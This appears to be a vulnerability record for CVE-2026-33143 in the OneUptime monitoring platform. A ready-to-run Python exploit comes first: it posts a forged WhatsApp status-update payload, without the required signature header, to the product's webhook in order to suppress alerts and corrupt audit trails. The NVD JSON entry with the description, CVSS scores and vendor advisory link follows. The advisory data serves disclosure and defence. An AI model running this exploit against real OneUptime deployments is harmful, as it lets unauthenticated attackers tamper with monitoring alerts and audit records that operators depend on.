CVE-2026-33143

import requests # Target URL (Replace with actual target) target_url = "https://<oneuptime-domain>/notification/whatsapp/webhook" # Malicious payload to simulate a forged status update # This payload tricks the system into thinking a message was read or failed payload = { "object": "whatsapp_business_account", "entry": [ { "id": "123456789", "changes": [ { "value": { "messaging_product": "whatsapp", "metadata": { "display_phone_number": "15550000000" }, "statuses": [ { "id": "wamid.HBgLNTE1NTUwMDAwMDAgFQIAERgSNDQ4RTA2M0U1RDUyQTc1AA==", "recipient_id": "555555555555", "status": "read", "timestamp": "1710000000" } ] }, "field": "messages" } ] } ] } # Exploit: Send the POST request without the required X-Hub-Signature-256 header # The vulnerability is that the server accepts this unverified payload response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Payload sent successfully. Audit trail may be corrupted.") else: print(f"[-] Request failed with status code: {response.status_code}")

{"cve": {"id": "CVE-2026-33143", "sourceIdentifier": "[email protected]", "published": "2026-03-20T21:17:14.933", "lastModified": "2026-03-23T20:48:27.347", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OneUptime is a solution for monitoring and managing online services. Prior to version 10.0.34, the WhatsApp POST webhook handler (/notification/whatsapp/webhook) processes incoming status update events without verifying the Meta/WhatsApp X-Hub-Signature-256 HMAC signature, allowing any unauthenticated attacker to send forged webhook payloads that manipulate notification delivery status records, suppress alerts, and corrupt audit trails. The codebase already implements proper signature verification for Slack webhooks. This issue has been patched in version 10.0.34."}, {"lang": "es", "value": "OneUptime es una solución para monitorear y gestionar servicios en línea. Antes de la versión 10.0.34, el gestor del webhook POST de WhatsApp (/notification/whatsapp/webhook) procesa eventos de actualización de estado entrantes sin verificar la firma HMAC X-Hub-Signature-256 de Meta/WhatsApp, permitiendo a cualquier atacante no autenticado enviar cargas útiles de webhook falsificadas que manipulan los registros de estado de entrega de notificaciones, suprimen las alertas y corrompen las pistas de auditoría. La base de código ya implementa una verificación de firma adecuada para los webhooks de Slack. Este problema ha sido parcheado en la versión 10.0.34."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-345"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hackerbay:oneuptime:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.34", "matchCriteriaId": "E9A7D117-1577-4F24-BE5F-0E23A8A0BF3E"}]}]}], "references": [{"url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-g5ph-f57v-mwjc", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}